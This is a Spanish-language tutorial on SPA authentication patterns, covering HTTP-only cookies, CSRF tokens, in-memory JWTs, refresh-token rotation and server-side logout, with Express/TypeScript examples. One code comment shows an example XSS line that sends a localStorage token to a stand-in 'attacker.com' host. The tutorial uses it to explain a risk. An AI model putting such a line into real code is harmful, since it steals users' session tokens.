Patrones de autenticación para aplicaciones de una sola página
Tokens, cookies, flujos de refresco y gestión de sesiones: los patrones de autenticación que mantienen las SPA seguras sin sacrificar la experiencia de usuario.

La autenticación en aplicaciones de una sola página es más difícil de lo que parece. El navegador es un entorno hostil: se puede inyectar JavaScript, los tokens pueden robarse del almacenamiento y los ataques CSRF aprovechan las sesiones basadas en cookies. Elegir el patrón equivocado crea agujeros de seguridad que son invisibles hasta que alguien los explota.
Los dos enfoques principales
Las SPA se autentican mediante sesiones basadas en cookies o autenticación basada en tokens. Cada enfoque tiene características de seguridad distintas.
| Enfoque | Almacenamiento | Riesgo de CSRF | Riesgo de XSS | Funciona cross-origin |
|---|---|---|---|---|
| Cookies HTTP-only | Gestionado por el navegador | Sí (mitigable) | Bajo | No (mismo origen) |
| JWT en memoria | Variable de JavaScript | No | Sí (si se almacena mal) | Sí |
| JWT en localStorage | localStorage | No | Alto | Sí |
// ❌ JWT in localStorage — any XSS attack steals the token
localStorage.setItem("token", jwt);
// Any injected script can do:
// fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"))
// ✅ HTTP-only cookie — JavaScript cannot access it
// Set by the server:
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/Las cookies HTTP-only son la opción más segura por defecto para SPA de mismo origen. Los tokens en memoria (no en localStorage) son apropiados para configuraciones cross-origin.
Autenticación basada en cookies
El servidor establece una cookie HTTP-only después de un inicio de sesión exitoso. El navegador la envía automáticamente con cada petición.
// Server: login endpoint
app.post("/api/auth/login", async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) {
return res.status(401).json({ error: "Invalid credentials" });
}
const sessionId = await createSession(user.id);
res.cookie("session", sessionId, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // Only sent over HTTPS
sameSite: "strict", // No cross-origin requests
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: "/",
});
res.json({ user: { id: user.id, name: user.name } });
});// Server: session middleware
async function sessionMiddleware(req: Request, res: Response, next: NextFunction) {
const sessionId = req.cookies.session;
if (!sessionId) return res.status(401).json({ error: "Not authenticated" });
const session = await getSession(sessionId);
if (!session || session.expiresAt < new Date()) {
res.clearCookie("session");
return res.status(401).json({ error: "Session expired" });
}
req.userId = session.userId;
next();
}Protección CSRF
Las cookies se envían automáticamente, lo que significa que un sitio malicioso puede desencadenar peticiones autenticadas. El atributo SameSite=Strict previene la mayoría de los ataques CSRF. Para protección adicional, usa un token CSRF.
// Server: generate CSRF token for the session
app.get("/api/auth/csrf-token", sessionMiddleware, (req, res) => {
const csrfToken = generateSecureToken();
req.session.csrfToken = csrfToken;
res.json({ csrfToken });
});
// Server: verify CSRF token on state-changing requests
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
if (["GET", "HEAD", "OPTIONS"].includes(req.method)) return next();
const token = req.headers["x-csrf-token"];
if (token !== req.session.csrfToken) {
return res.status(403).json({ error: "Invalid CSRF token" });
}
next();
}Autenticación basada en tokens
Cuando la API y la SPA están en orígenes diferentes, las cookies no funcionan de forma fluida. Los tokens almacenados en memoria JavaScript (no en localStorage) son la alternativa más segura.
// Client: store token in memory, not localStorage
let accessToken: string | null = null;
let refreshToken: string | null = null;
async function login(email: string, password: string) {
const res = await fetch("/api/auth/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email, password }),
});
const data = await res.json();
accessToken = data.accessToken; // Short-lived: 15 minutes
refreshToken = data.refreshToken; // Longer-lived: 7 days
}
// Attach token to every request
async function authenticatedFetch(url: string, options: RequestInit = {}) {
if (!accessToken) throw new Error("Not authenticated");
const res = await fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${accessToken}`,
},
});
if (res.status === 401) {
await refreshAccessToken();
return authenticatedFetch(url, options); // Retry with new token
}
return res;
}Flujo de refresh token
Los access tokens de corta duración limitan la ventana de daño si un token es robado. Los refresh tokens emiten nuevos access tokens sin requerir un nuevo inicio de sesión.
// Server: refresh endpoint
app.post("/api/auth/refresh", async (req, res) => {
const { refreshToken } = req.body;
const payload = verifyRefreshToken(refreshToken);
if (!payload) return res.status(401).json({ error: "Invalid refresh token" });
// Rotate refresh token — one-time use
await revokeRefreshToken(refreshToken);
const newAccessToken = signAccessToken({ userId: payload.userId }, "15m");
const newRefreshToken = signRefreshToken({ userId: payload.userId }, "7d");
await storeRefreshToken(newRefreshToken, payload.userId);
res.json({ accessToken: newAccessToken, refreshToken: newRefreshToken });
});La rotación de refresh tokens es crítica: cada refresh token es de un solo uso. Si un atacante roba uno y tanto el atacante como el usuario intentan usarlo, el servidor detecta la reutilización y revoca toda la sesión.
Cierre de sesión e invalidación de sesiones
// Server-side: revoke the session
app.post("/api/auth/logout", sessionMiddleware, async (req, res) => {
await deleteSession(req.sessionId);
res.clearCookie("session");
res.json({ success: true });
});
// Client-side: clear in-memory tokens
function logout() {
accessToken = null;
refreshToken = null;
window.location.href = "/login";
}Invalida siempre las sesiones del lado del servidor. Limpiar la cookie o el token del lado del cliente no es suficiente: el ID de sesión o el token antiguo podría seguir siendo válido.
Puntos clave
- Las cookies HTTP-only son la opción más segura por defecto para SPA de mismo origen: JavaScript no puede acceder a ellas
- Nunca almacenes tokens en localStorage: cualquier vulnerabilidad XSS se convierte en un secuestro completo de la cuenta
- Usa access tokens de corta duración (15 min) con rotación de refresh tokens para autenticación basada en tokens
SameSite=Strictpreviene la mayoría de los ataques CSRF sin tokens adicionales- Invalida siempre las sesiones del lado del servidor al cerrar sesión: la limpieza del lado del cliente no es suficiente


